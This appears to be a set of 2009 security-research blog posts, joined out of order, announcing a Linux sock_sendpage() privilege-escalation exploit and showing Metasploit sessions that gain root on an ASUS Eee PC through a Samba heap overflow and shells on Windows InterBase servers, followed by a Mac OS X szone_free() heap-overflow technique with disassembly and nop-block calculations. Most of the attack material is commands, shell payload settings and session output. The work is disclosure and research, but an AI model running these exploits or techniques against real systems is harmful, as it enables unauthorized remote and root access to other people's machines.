September 7, 2009: I released a second version of the exploit. Now, it also works with Linux Kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with these types. The second version of the exploit is available here.

September 4, 2009: I updated the list of distributions the exploit was tested.

I released an exploit for the Linux sock_sendpage() NULL Pointer Dereference, discovered by Tavis Ormandy and Julien Tinnes. This exploit was written to illustrate the exploitability of this vulnerability on Power/Cell BE architecture.

The exploit makes use of the SELinux and the mmap_min_addr problem to exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3. The problem, first noticed by Brad Spengler, was described by Red Hat in the Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and the mmap_min_addr protection.

Support for i386 and x86_64 was added for completeness. For a more complete implementation, refer to Brad Spengler’s exploit, which also implements the personality trick published by Tavis Ormandy and Julien Tinnes.

Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4 are vulnerable.

The exploit was tested on:

• CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
• CentOS 5.3 (2.6.18-128.4.1.el5)
• CentOS 5.3 (2.6.18-128.2.1.el5)
• CentOS 5.3 (2.6.18-128.1.16.el5)
• CentOS 5.3 (2.6.18-128.1.14.el5)
• CentOS 5.3 (2.6.18-128.1.10.el5)
• CentOS 5.3 (2.6.18-128.1.6.el5)
• CentOS 5.3 (2.6.18-128.1.1.el5)
• CentOS 5.3 (2.6.18-128.el5)
• CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
• CentOS 4.8 (2.6.9-89.0.7.EL)
• CentOS 4.8 (2.6.9-89.0.3.EL)
• CentOS 4.8 (2.6.9-89.EL)
• Fedora 11 (2.6.29.4-167.fc11)
• Fedora 10 (2.6.27.5-117.fc10)
• Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
• Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
• Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
• Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
• Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
• Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
• Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
• Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
• Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
• Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
• Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
• Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
• Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
• SUSE Linux Enterprise Server 11 (2.6.27.29-0.1) is not vulnerable
• SUSE Linux Enterprise Server 11 (2.6.27.25-0.1)
• SUSE Linux Enterprise Server 11 (2.6.27.23-0.1)
• SUSE Linux Enterprise Server 11 (2.6.27.21-0.1)
• SUSE Linux Enterprise Server 11 (2.6.27.19-5)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.42.4) is not vulnerable
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.39.3)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.37_f594963d)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.34)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.33)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.31)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.29)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.27)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.23)
• SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
• Ubuntu 8.10 (2.6.27-14) is not vulnerable
• Ubuntu 8.10 (2.6.27-11)
• Ubuntu 8.10 (2.6.27-9)
• Ubuntu 8.10 (2.6.27-7)
• openSUSE 11.1 (2.6.27.29-0.1) is not vulnerable
• openSUSE 11.1 (2.6.27.25-0.1)
• openSUSE 11.1 (2.6.27.23-0.1)
• openSUSE 11.1 (2.6.27.21-0.1)
• openSUSE 11.1 (2.6.27.19-3.2)
• openSUSE 11.1 (2.6.27.7-9)

It should also work on early versions of these distributions. The exploit is available here.

Analysing the running processes of the ASUS Eee PC, the first thing that caught our attention was the running smbd process (the sshd daemon was started by us, and is not enabled by default).

eeepc-rise:/root> ps -e
  PID TTY          TIME CMD
    1 ?        00:00:00 fastinit
    2 ?        00:00:00 ksoftirqd/0
    3 ?        00:00:00 events/0
    4 ?        00:00:00 khelper
    5 ?        00:00:00 kthread
   25 ?        00:00:00 kblockd/0
   26 ?        00:00:00 kacpid
  128 ?        00:00:00 ata/0
  129 ?        00:00:00 ata_aux
  130 ?        00:00:00 kseriod
  148 ?        00:00:00 pdflush
  149 ?        00:00:00 pdflush
  150 ?        00:00:00 kswapd0
  151 ?        00:00:00 aio/0
  152 ?        00:00:00 unionfs_siod/0
  778 ?        00:00:00 scsi_eh_0
  779 ?        00:00:00 scsi_eh_1
  799 ?        00:00:00 kpsmoused
  819 ?        00:00:00 kjournald
  855 ?        00:00:00 fastinit
  857 ?        00:00:00 sh
  858 ?        00:00:00 su
  859 tty3     00:00:00 getty
  862 ?        00:00:00 startx
  880 ?        00:00:00 xinit
  881 tty2     00:00:06 Xorg
  890 ?        00:00:00 udevd
  952 ?        00:00:00 ksuspend_usbd
  953 ?        00:00:00 khubd
 1002 ?        00:00:00 acpid
 1027 ?        00:00:00 pciehpd_event
 1055 ?        00:00:00 ifplugd
 1101 ?        00:00:00 scsi_eh_2
 1102 ?        00:00:00 usb-storage
 1151 ?        00:00:00 icewm
 1185 ?        00:00:01 AsusLauncher
 1186 ?        00:00:00 icewmtray
 1188 ?        00:00:01 powermonitor
 1190 ?        00:00:00 minimixer
 1191 ?        00:00:00 networkmonitor
 1192 ?        00:00:00 wapmonitor
 1193 ?        00:00:00 x-session-manag
 1195 ?        00:00:00 x-session-manag
 1200 ?        00:00:00 x-session-manag
 1201 ?        00:00:00 dispwatch
 1217 ?        00:00:00 cupsd
 1224 ?        00:00:00 usbstorageapple
 1234 ?        00:00:00 kondemand/0
 1240 ?        00:00:00 portmap
 1248 ?        00:00:00 keyboardstatus
 1272 ?        00:00:00 memd
 1279 ?        00:00:00 scim-helper-man
 1280 ?        00:00:00 scim-panel-gtk
 1282 ?        00:00:00 scim-launcher
 1297 ?        00:00:00 netserv
 1331 ?        00:00:00 asusosd
 1476 ?        00:00:00 xandrosncs-agen
 1775 ?        00:00:00 dhclient3
 2002 ?        00:00:00 nmbd
 2004 ?        00:00:00 smbd
 2005 ?        00:00:00 smbd
 2322 ?        00:00:00 sshd
 2345 ?        00:00:00 sshd
 2356 pts/0    00:00:00 bash
 2362 pts/0    00:00:00 ps
eeepc-rise:/root>

Retrieving the the smbd version, we discovered that it runs a vulnerable version of Samba (Samba lsa_io_trans_names Heap Overflow), which exploit we published earlier last year.

eeepc-rise:/root> smbd --version
Version 3.0.24
eeepc-rise:/root>

With this information, we ran our exploit against the ASUS Eee PC using the Debian/Ubuntu target (Xandros is based on Corel Linux, which is Debian based).

msf > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > set RHOST 192.168.50.10
RHOST => 192.168.50.10
msf exploit(lsa_transnames_heap) > set PAYLOAD linux/x86/shell_bind_tcp
PAYLOAD => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux vsyscall
   1   Linux Heap Brute Force (Debian/Ubuntu)
   2   Linux Heap Brute Force (Gentoo)
   3   Linux Heap Brute Force (Mandriva)
   4   Linux Heap Brute Force (RHEL/CentOS)
   5   Linux Heap Brute Force (SUSE)
   6   Linux Heap Brute Force (Slackware)
   7   DEBUG

msf exploit(lsa_transnames_heap) > set TARGET 1
TARGET => 1
msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
...
[*] Trying to exploit Samba with address 0x08415000...
[*] Connecting to the SMB service...
[*] Binding to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Bound to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.50.201:33694 -> 192.168.50.10:4444)
msf exploit(lsa_transnames_heap) > sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux
id
uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

Easy to learn, Easy to work, Easy to root.

We found about 20 buffer overflow vulnerabilities that affects all versions of Borland InterBase, and some of them also affects the Firebird Relational Database. All remote, trivial to exploit, stack-based buffer overflows.

We contacted both Borland/CodeGear and Firebird developers about these vulnerabilities. After failed attempts to find an email address to report security issues in their products, we tried their bug tracking systems. Borland/CodeGear asked us to send information to their support email address, but we didn’t get any further responses. Firebird developers didn’t answer to our reports either, but they corrected these vulnerabilities in the latest version of Firebird.

We published the advisories, an auxiliary scanner module and exploit modules for some of these vulnerabilities for The Metasploit Framework.

The auxiliary scanner module searches for running InterBase/Firebird instances on an address range and retrieves version and implementation of the InterBase server from InterBase Services Manager. This auxiliary module can be used to determine the exact target will be used in an exploitation scenario.

msf > use auxiliary/scanner/misc/ib_service_mgr_info
msf auxiliary(ib_service_mgr_info) > set RHOSTS 192.168.213.0/24
RHOSTS => 192.168.213.0/24
msf auxiliary(ib_service_mgr_info) > run
[*] Trying 192.168.213.0
[*] Trying 192.168.213.1
[*] Trying 192.168.213.2
...
[*] Trying 192.168.213.132
IP Address: 192.168.213.132
Version of the InterBase server: WI-V6.0.1.0
Implementation of the InterBase server: InterBase/x86/Windows NT

...
[*] Trying 192.168.213.253
[*] Trying 192.168.213.254
[*] Trying 192.168.213.255
[*] Auxiliary module execution completed
msf auxiliary(ib_service_mgr_info) >

Using this information, one can select the exact target from one of our published exploit modules.

msf auxiliary(ib_service_mgr_info) > use windows/misc/ib_isc_attach_database
msf exploit(ib_isc_attach_database) > set RHOST 192.168.213.132
RHOST => 192.168.213.132
msf exploit(ib_isc_attach_database) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(ib_isc_attach_database) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(ib_isc_attach_database) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Brute Force
   1   Borland InterBase WI-V8.1.0.257
   2   Borland InterBase WI-V8.0.0.123
   3   Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80
   4   Borland InterBase WI-V7.0.1.1
   5   Borland InterBase WI-V6.5.0.28
   6   Borland InterBase WI-V6.0.1.6
   7   Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0
   8   Borland InterBase WI-V5.5.0.742
   9   Borland InterBase WI-V5.1.1.680
   10  Debug

msf exploit(ib_isc_attach_database) > set TARGET 7
TARGET => 7
msf exploit(ib_isc_attach_database) > exploit
[*] Started reverse handler
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.4:33891)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

The brute force option assumes that ibguard/fbguard is running and tries every available target from an exploit module sequentially.

msf exploit(ib_isc_attach_database) > set TARGET 0
TARGET => 0
msf exploit(ib_isc_attach_database) > exploit
[*] Started reverse handler
[*] Brute forcing with 10 possible targets
[*] Trying target Borland InterBase WI-V8.1.0.257...
[*] Trying target Borland InterBase WI-V8.0.0.123...
[*] Trying target Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80...
[*] Trying target Borland InterBase WI-V7.0.1.1...
[*] Trying target Borland InterBase WI-V6.5.0.28...
[*] Trying target Borland InterBase WI-V6.0.1.6...
[*] Trying target Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6
WI-O6.0.2.0...
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.4:33942)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

It is important to note that all Borland InterBase vulnerabilities published by us were not corrected by the vendor and are present in all (including the latest) versions of their product.

However, we found a reliable way to exploit this vulnerability even if the smbd process is started by the launchd daemon.

Initially, we need to use another pointer in initial_malloc_zones structure, but before just using another pointer, care must be taken because pointers in initial_malloc_zones that are called before the one we will use, can be trashed by the szone_free() function, causing the program to crash before we gain control of execution.

To avoid a crash, we use the free() pointer and let the szone_free() to trash the calloc() or valloc() pointers, which are not called before free() after the overflow.

However, we need to find another nop block that not only results in a nop-like instruction at our target address, but also do a near jump over the pointer written four or eight bytes past our target address, or move a valid value to the ecx register, which in free() context does not point to a valid memory location (it is zero). After some calculations, we discovered that a nop block of 0×16 and the address 0×1800014 satisfies all these conditions.

0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 17962379

Implied that we use the second mov instruction, it will result in the following instruction block being executed as the first few bytes of our target address.

   0:   79 23                   jns    0x25
   2:   96                      xchgl  %eax,%esi
   3:   17                      popl   %ss
   4:   16                      pushl  %ss
   5:   16                      pushl  %ss
   6:   16                      pushl  %ss
   7:   16                      pushl  %ss
   8:   14 00                   adcb   $0x0,%al
   a:   80 01 16                addb   $0x16,(%ecx)
   d:   16                      pushl  %ss
   e:   16                      pushl  %ss
   f:   16                      pushl  %ss

The jump condition is always true because the sign flag is zero at the time our target address is executed. When executed, this will jump over the address written eight bytes past our buffer, hitting directly the nop block, which will be executed until it reaches the payload appended to it. Let us know if you have any questions, comments or improvements.

The szone_free() function can be abused to overwrite one of the function pointers in the initial_malloc_zones structure and achieve arbitrary code execution. Exploitation is not straightforward, however, due to how the szone_free() function operates.

A partial disassembly of the szone_free() function can be found below:

<szone_free+2898>:   mov    %edi,0x8(%esi)
<szone_free+2901>:   mov    0x4(%esi),%eax
<szone_free+2904>:   xor    %edi,%eax
<szone_free+2906>:   xor    $0x357b,%eax
<szone_free+2911>:   mov    %eax,(%esi)
<szone_free+2913>:   test   %edi,%edi
<szone_free+2915>:   je     0x90005e8d <szone_free+2931>
<szone_free+2917>:   mov    %esi,0x4(%edi)
<szone_free+2920>:   xor    0x8(%edi),%esi
<szone_free+2923>:   xor    $0x357b,%esi
<szone_free+2929>:   mov    %esi,(%edi)

This disassembly can be represented by the following C language code block:

*((int *)(esi+8)) = edi;
eax = *((int *)(esi+4));
eax = edi ^ eax;
eax = 0x357b ^ eax;
*((int *)esi) = eax;

*((int *)(edi+4)) = esi;
esi = *((int *)(edi+8)) ^ esi;
esi = 0x357b ^ esi;
*((int *)edi) = esi;

This can be further simplified to:

*((int *)(esi+8)) = edi;
*((int *)esi) = 0x357b ^ ( edi ^ *((int *)(esi+4)) );

*((int *)(edi+4)) = esi;
*((int *)edi) = 0x357b ^ ( *((int *)(edi+8)) ^ esi );

As we can see, this code allows us to use the mov instructions at zone_free+2898 or szone_free+2917 to write to the initial_malloc_zones structure.

However, this code will also write the output of a sequence of xor operations to the addresses stored in the esi and edi registers. This will cause the initial four bytes of our target address to be overwritten with garbage instructions, resulting in an illegal instruction exception or segmentation fault.

To avoid a crash, we have to find a nop block that satisfies these conditions and results in a valid nop instruction being written to the beginning of our target address. After some calculations, we discovered that a nop block of 0×42 (incl %edx) and the address of 0×1800004 results in a xor output that is also a valid nop-like instruction:

0x357b ^ ( 0x1800004 ^ 0x42424242 ) = 0x43c2773d

This will result in the following instruction block being executed as the first few bytes of our target address (the 0×42 at the end is part of the nop block):

0:   3d 77 c2 43 42          cmpl   $0x4243c277,%eax

Using this technique we can overwrite only the function pointers for the size() and malloc() routines in the initial_malloc_zones structure. Unfortunately, overwriting the malloc() pointer in this fashion leads to another problem.

If we use the mov intruction at szone_free+2898 (which implies the use of malloc() pointer) to write to the initial_malloc_zones structure, the caller will write the address 0×1800004 four bytes past our target address, resulting in following code block being executed:

0:   3d 77 c2 43 04          cmpl   $0x443c277,%eax
5:   00 80 01 42 42 42       addb   %al,0x42424201(%eax)

This will likely result in a segmentation fault, because the value of eax + 0×42424201 does not point to a valid memory location at the time of execution.

To avoid this problem we will need to use the mov instruction at szone_free+2917 (which implies the use of size() pointer) instead. When using the mov instruction at szone_free+2917, the address 0×1800004 will be written eight bytes past our target address, resulting in the following code block being executed:

0:   3d 77 c2 43 42          cmpl   $0x4243c277,%eax
5:   42                      incl   %edx
6:   42                      incl   %edx
7:   42                      incl   %edx
8:   04 00                   addb   $0x0,%al
a:   80 01 42                addb   $0x42,(%ecx)

This code block satisfies all our requirements and will execute without problems because the ecx register points to valid and writable memory location (0×1800000 initial_malloc_zones) at the time of execution. Any shellcode appended to the end of this block will now be reached and executed.

This technique is useful for exploiting the Samba vulnerability, but may be useful for other heap overflows on the Mac OS X operating system. Let us know if you have any questions, comments or improvements.